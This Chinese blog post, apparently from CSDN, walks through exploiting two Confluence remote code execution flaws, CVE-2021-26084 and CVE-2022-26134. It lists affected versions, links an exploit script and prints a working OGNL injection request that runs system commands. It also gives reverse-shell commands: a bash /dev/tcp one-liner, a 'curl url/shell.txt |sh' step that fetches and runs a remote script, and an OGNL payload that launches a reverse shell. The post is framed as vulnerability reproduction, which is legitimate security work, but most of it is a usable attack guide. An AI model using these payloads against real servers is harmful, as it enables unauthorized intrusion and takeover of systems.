• confluence的几个高危漏洞复现


    序言

    本次复现涉及了好几个confluence的相关漏洞,从复现利用到提权,有兴趣的可以自行搭建环境测试。

    1.CVE-2021-26084 Confluence OGNL 注入漏洞

    1.1 漏洞描述

    在某些情况下,远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下,通过构造恶意数据执行 OGNL 表达式进行注入攻击,实现在 Confluence Server 或 Data Center 上执行任意代码,最终控制服务器。

    1.2 漏洞版本

    Confluence Server & Confluence Data Center < 6.13.23      6.13.23
    
    Confluence Server & Confluence Data Center < 7.11.6        7.11.6
    
    Confluence Server & Confluence Data Center < 7.12.5        7.12.5
    
    Confluence Server & Confluence Data Center < 7.4.11        7.4.11
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    1.3 漏洞复现

    一般情况下,confluence会在登录页直接显示当前版本,所以我们可以访问url/login.action这个页面查看版本。
    在这里插入图片描述漏洞利用脚本可以参考 https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
    后面的演示会通过这个脚本来执行,执行python CVE-2021-26084.py -u url
    ,如果漏洞存在就可以执行命令了。我们尝试一下whoami
    在这里插入图片描述可以看到漏洞就被成功执行了,至此这个漏洞的基本复现就完成了, 接下来我们来尝试提权

    1.4 获取主机权限

    一般情况下 我们可以直接通过反弹shell的方式来获取主机权限

    bash -i >& /dev/tcp/ip/port 0>&1
    
    • 1

    但是confluence的命令执行 部分字符会被url转义,所以直接在控制台反弹shell会直接报错
    在这里插入图片描述我们可以通过远程执行文件内容的方式来反弹shell

    curl url/shell.txt |sh
    
    • 1

    其中,shell.txt为自己服务器上的一个文件,内容就是上文中的反弹时shell,直接执行这个操作,就能正常的反弹shell了。

    2.CVE-2022-26134

    2.1 漏洞描述

    远程攻击者在未经身份验证的情况下,可构造OGNL表达式进行注入,实现在Confluence Server或Data Center上执行任意代码。

    2.2 漏洞版本

    Confluence Server&Data Center ≥ 1.3.0
    Atlassian Confluence Server and Data Center <7.4.17
    Atlassian Confluence Server and Data Center <7.13.7
    Atlassian Confluence Server and Data Center <7.14.3
    Atlassian Confluence Server and Data Center <7.15.2
    Atlassian Confluence Server and Data Center <7.16.4
    Atlassian Confluence Server and Data Center <7.17.4
    Atlassian Confluence Server and Data Center <7.18.1
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    2.3 漏洞复现

    构造请求

    /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/
    
    • 1

    其中exec中的内容为需要执行的命令,结果会返回在header的X-Cmd-Response中
    在这里插入图片描述至此漏洞利用成功

    2.4 提权

    构造

    /${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/ip/port 0>&1').start()")}/
    
    • 1

    即可反弹shell

  • 相关阅读:
    C 语言 时间函数使用技巧(汇总)
    大数定律与中心极限定理
    135. 分发糖果
    Spire.Office for Java 8.9.5/Spire.Office 8.9.2 .NET
    每日学一个设计模式22——命令模式
    PixelSNAIL论文代码学习(1)——总体框架和平移实现因果卷积
    RFSoC应用笔记 - RF数据转换器 -08- RFSoC关键配置之RF-DAC内部解析(二)
    北斗导航 | 基于GPS/BDS多星座加权因子图优化的行人智能手机导航
    干货:每周一练C++ 小项目
    Linux分区指南
  • 原文地址:https://blog.csdn.net/xiayu729100940/article/details/128197797